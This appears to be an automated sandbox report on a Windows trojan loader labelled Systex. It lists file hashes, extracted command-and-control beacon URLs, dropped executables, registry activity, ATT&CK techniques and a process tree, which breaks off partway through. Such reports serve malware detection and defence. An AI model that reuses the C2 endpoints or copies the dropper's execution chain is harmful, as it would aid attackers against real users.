systex | 79e3d9237055228e672eb7435b20eb369d3181b4df0593fd10c1a17d39def0ba

Analysis

max time kernel
149s
max time network
148s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
19/08/2026, 13:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
Size 376KB
Sample260819-qxbdvsbr2x
SHA256 79e3d9237055228e672eb7435b20eb369d3181b4df0593fd10c1a17d39def0ba
MD5 4514d55a8947133af55b58d1220b8063
SHA1 0b6cc6a18644a0ce549f3408e597b24e2126ef12
SHA512 61bcddfcff783c4fc9a8fa13a946f5dee20ed46bfbcc1bc4b021fa524f49be6a94ba465e8321ff238be5bb4d6fc88825b4825888277b6654c0331da24bbe563e
SSDEEP 3072:dFLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:dFL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1C6847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan

Malware Config

Extracted

Family

systex

http://xytets.com:2345/t.asp?os=wangba
http://xytets.com:2345/t.asp?os=home
http://xytets.com:2345/t.asp?ver=xxx&mac=0-0-0-0&os=vm

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Executes dropped EXE 64 IoCs

pid	Process
3300	ywrojgbztrljebwt.exe
3924	ywrojgbztrljebwt.sys
576	CreateProcess.exe
2808	ywrojgbywq.exe
4680	CreateProcess.exe
1176	CreateProcess.exe
940	i_ywrojgbywq.exe
2096	wqojgbztqo.sys
4884	CreateProcess.exe
2512	jdbytqlidb.exe
2520	CreateProcess.exe
5972	CreateProcess.exe
5844	i_jdbytqlidb.exe
5820	daytqljdbv.sys
2216	CreateProcess.exe
5988	ysqoigdvqo.exe
1808	CreateProcess.exe
4640	CreateProcess.exe
4660	i_ysqoigdvqo.exe
4224	qkidavtnlf.sys
2988	CreateProcess.exe
4248	kifdxvqnif.exe
3648	CreateProcess.exe
4168	CreateProcess.exe
2600	i_kifdxvqnif.exe
1288	cavsmkicax.sys
5636	CreateProcess.exe
3080	axspkicxvp.exe
3948	CreateProcess.exe
2176	CreateProcess.exe
5568	i_axspkicxvp.exe
4088	causnkfdxu.sys
1120	CreateProcess.exe
2872	usmkecwupm.exe
3276	CreateProcess.exe
3668	CreateProcess.exe
1132	i_usmkecwupm.exe
2960	spjhfzxupm.sys
916	CreateProcess.exe
4804	smkeczxrpj.exe
5732	CreateProcess.exe
1848	CreateProcess.exe
5560	i_smkeczxrpj.exe
3372	mjhecwuomh.sys
5960	CreateProcess.exe
3228	rmjebwuomg.exe
2508	CreateProcess.exe
5552	CreateProcess.exe
6008	i_rmjebwuomg.exe
3740	jgeywrojhe.sys
2736	CreateProcess.exe
5004	omgeywrojh.exe
2280	CreateProcess.exe
5904	CreateProcess.exe
3504	i_omgeywrojh.exe
4432	jgbztrojge.sys
4960	CreateProcess.exe
3256	ywqoigeywq.exe
5956	CreateProcess.exe
3372	CreateProcess.exe
5168	i_ywqoigeywq.exe
6080	jdbvtnlgdb.sys
5844	CreateProcess.exe
4352	dbvtolgdyw.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6000_1259079286\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6000_76008058\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6000_1466232938\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6000_1466232938\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6000_1466232938\smart_switch_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6000_257844489\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6000_1259079286\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6000_76008058\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6000_1466232938\office_endpoints_list.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 42 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ywrojgbztrljebwt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vtnlidaysn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_snlfdxvpnh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wqojgbytrl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qoljdbvtnl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jdbytqlidb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_smkeczxrpj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dbvtolgdyw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	snlfdxvpnh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xrpkhczusm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ywrojgbywq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ywrojgbywq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ysqoigdvqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ywqoigeywq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mkhfzxvpnk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qoljdbvtnl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CreateProcess.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kifdxvqnif.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_kifdxvqnif.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_usmkecwupm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rmjebwuomg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	omgeywrojh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	czuomhezxr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tqlidavtnl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ysqoigdvqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_omgeywrojh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ywqoigeywq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wqojgbytrl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	axspkicxvp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_axspkicxvp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	usmkecwupm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	smkeczxrpj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vtnlidaysn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xrpkhczusm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jdbytqlidb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mkhfzxvpnk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rmjebwuomg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_dbvtolgdyw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_czuomhezxr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ywromgezwr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ywromgezwr.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4672	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3360	ipconfig.exe
4584	ipconfig.exe
5812	ipconfig.exe
3844	ipconfig.exe
1896	ipconfig.exe
240	ipconfig.exe
2516	ipconfig.exe
5724	ipconfig.exe
548	ipconfig.exe
548	ipconfig.exe
3768	ipconfig.exe
5644	ipconfig.exe
2460	ipconfig.exe
4212	ipconfig.exe
3128	ipconfig.exe
548	ipconfig.exe
4604	ipconfig.exe
4372	ipconfig.exe
5884	ipconfig.exe
240	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134316202890286925"	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-552508041-2681165170-3229858294-1000\{D5E31312-4CDD-4C9C-8163-771982628E15}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3300	ywrojgbztrljebwt.exe
3300	ywrojgbztrljebwt.exe
3300	ywrojgbztrljebwt.exe
3300	ywrojgbztrljebwt.exe
3300	ywrojgbztrljebwt.exe
3300	ywrojgbztrljebwt.exe
3300	ywrojgbztrljebwt.exe
3300	ywrojgbztrljebwt.exe

Suspicious behavior: LoadsDriver 20 IoCs

pid	Process
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
6000	msedge.exe
6000	msedge.exe
6000	msedge.exe
6000	msedge.exe
6000	msedge.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	940	i_ywrojgbywq.exe
Token: SeDebugPrivilege	5844	i_jdbytqlidb.exe
Token: SeDebugPrivilege	4660	i_ysqoigdvqo.exe
Token: SeDebugPrivilege	2600	i_kifdxvqnif.exe
Token: SeDebugPrivilege	5568	i_axspkicxvp.exe
Token: SeDebugPrivilege	1132	i_usmkecwupm.exe
Token: SeDebugPrivilege	5560	i_smkeczxrpj.exe
Token: SeDebugPrivilege	6008	i_rmjebwuomg.exe
Token: SeDebugPrivilege	3504	i_omgeywrojh.exe
Token: SeDebugPrivilege	5168	i_ywqoigeywq.exe
Token: SeDebugPrivilege	2848	i_dbvtolgdyw.exe
Token: SeDebugPrivilege	2804	i_vtnlidaysn.exe
Token: SeDebugPrivilege	1200	i_snlfdxvpnh.exe
Token: SeDebugPrivilege	6116	i_mkhfzxvpnk.exe
Token: SeDebugPrivilege	2376	i_xrpkhczusm.exe
Token: SeDebugPrivilege	1968	i_czuomhezxr.exe
Token: SeDebugPrivilege	1812	i_ywromgezwr.exe
Token: SeDebugPrivilege	4632	i_wqojgbytrl.exe
Token: SeDebugPrivilege	4252	i_qoljdbvtnl.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
6000	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5036 wrote to memory of 3300	5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe	89
PID 5036 wrote to memory of 432	5036	2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe	90
PID 432 wrote to memory of 6000	432	iexplore.exe	91
PID 6000 wrote to memory of 1420	6000	msedge.exe	92
PID 6000 wrote to memory of 3476	6000	msedge.exe	94
PID 6000 wrote to memory of 4672	6000	msedge.exe	95
PID 6000 wrote to memory of 3476	6000	msedge.exe	94
PID 6000 wrote to memory of 3476	6000	msedge.exe	94
PID 6000 wrote to memory of 2120	6000	msedge.exe	96
PID 6000 wrote to memory of 2120	6000	msedge.exe	96
PID 6000 wrote to memory of 1964	6000	msedge.exe	98
PID 6000 wrote to memory of 1964	6000	msedge.exe	98
PID 6000 wrote to memory of 1964	6000	msedge.exe	98
PID 6000 wrote to memory of 4928	6000	msedge.exe	97
PID 6000 wrote to memory of 4928	6000	msedge.exe	97
PID 6000 wrote to memory of 4928	6000	msedge.exe	97
PID 6000 wrote to memory of 5768	6000	msedge.exe	99
PID 6000 wrote to memory of 3348	6000	msedge.exe	100
PID 6000 wrote to memory of 5768	6000	msedge.exe	99
PID 6000 wrote to memory of 5768	6000	msedge.exe	99
PID 6000 wrote to memory of 3348	6000	msedge.exe	100
PID 6000 wrote to memory of 3348	6000	msedge.exe	100
PID 6000 wrote to memory of 5844	6000	msedge.exe	104
PID 6000 wrote to memory of 5844	6000	msedge.exe	104
PID 3300 wrote to memory of 576	3300	ywrojgbztrljebwt.exe	105
PID 6000 wrote to memory of 4952	6000	msedge.exe	107
PID 6000 wrote to memory of 1884	6000	msedge.exe	108
PID 6000 wrote to memory of 4952	6000	msedge.exe	107
PID 6000 wrote to memory of 1884	6000	msedge.exe	108
PID 2808 wrote to memory of 4680	2808	ywrojgbywq.exe	110
PID 6000 wrote to memory of 3948	6000	msedge.exe	114
PID 6000 wrote to memory of 1808	6000	msedge.exe	115
PID 6000 wrote to memory of 1808	6000	msedge.exe	115
PID 6000 wrote to memory of 3940	6000	msedge.exe	118
PID 6000 wrote to memory of 3940	6000	msedge.exe	118
PID 3300 wrote to memory of 1176	3300	ywrojgbztrljebwt.exe	119
PID 3300 wrote to memory of 4884	3300	ywrojgbztrljebwt.exe	123
PID 2512 wrote to memory of 2520	2512	jdbytqlidb.exe	125
PID 3300 wrote to memory of 5972	3300	ywrojgbztrljebwt.exe	128
PID 3300 wrote to memory of 2216	3300	ywrojgbztrljebwt.exe	132
PID 5988 wrote to memory of 1808	5988	ysqoigdvqo.exe	134
PID 3300 wrote to memory of 4640	3300	ywrojgbztrljebwt.exe	137
PID 3300 wrote to memory of 2988	3300	ywrojgbztrljebwt.exe	142
PID 4248 wrote to memory of 3648	4248	kifdxvqnif.exe	144
PID 3300 wrote to memory of 4168	3300	ywrojgbztrljebwt.exe	147
PID 6000 wrote to memory of 5424	6000	msedge.exe	149
PID 6000 wrote to memory of 3084	6000	msedge.exe	150
PID 6000 wrote to memory of 4572	6000	msedge.exe	151
PID 3300 wrote to memory of 5636	3300	ywrojgbztrljebwt.exe	154
PID 3080 wrote to memory of 3948	3080	axspkicxvp.exe	156
PID 3300 wrote to memory of 2176	3300	ywrojgbztrljebwt.exe	159
PID 3300 wrote to memory of 1120	3300	ywrojgbztrljebwt.exe	163
PID 2872 wrote to memory of 3276	2872	usmkecwupm.exe	165
PID 3300 wrote to memory of 3668	3300	ywrojgbztrljebwt.exe	168
PID 3300 wrote to memory of 916	3300	ywrojgbztrljebwt.exe	172
PID 4804 wrote to memory of 5732	4804	smkeczxrpj.exe	174
PID 3300 wrote to memory of 1848	3300	ywrojgbztrljebwt.exe	177
PID 3300 wrote to memory of 5960	3300	ywrojgbztrljebwt.exe	181
PID 3228 wrote to memory of 2508	3228	rmjebwuomg.exe	183
PID 3300 wrote to memory of 5552	3300	ywrojgbztrljebwt.exe	186
PID 6000 wrote to memory of 3488	6000	msedge.exe	188
PID 6000 wrote to memory of 3488	6000	msedge.exe	188
PID 3300 wrote to memory of 2736	3300	ywrojgbztrljebwt.exe	194
PID 5004 wrote to memory of 2280	5004	omgeywrojh.exe	196

C:\Users\Admin\AppData\Local\Temp\2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-19_4514d55a8947133af55b58d1220b8063_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5036
- C:\Temp\ywrojgbztrljebwt.exe
  C:\Temp\ywrojgbztrljebwt.exe run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3300
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ywrojgbywq.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:576
  - - C:\Temp\ywrojgbywq.exe
      C:\Temp\ywrojgbywq.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2808
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4680
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1896
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ywrojgbywq.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1176
  - - C:\Temp\i_ywrojgbywq.exe
      C:\Temp\i_ywrojgbywq.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:940
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\jdbytqlidb.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4884
  - - C:\Temp\jdbytqlidb.exe
      C:\Temp\jdbytqlidb.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2512
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2520
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:240
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_jdbytqlidb.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5972
  - - C:\Temp\i_jdbytqlidb.exe
      C:\Temp\i_jdbytqlidb.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5844
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ysqoigdvqo.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2216
  - - C:\Temp\ysqoigdvqo.exe
      C:\Temp\ysqoigdvqo.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5988
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:1808
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5884
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ysqoigdvqo.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4640
  - - C:\Temp\i_ysqoigdvqo.exe
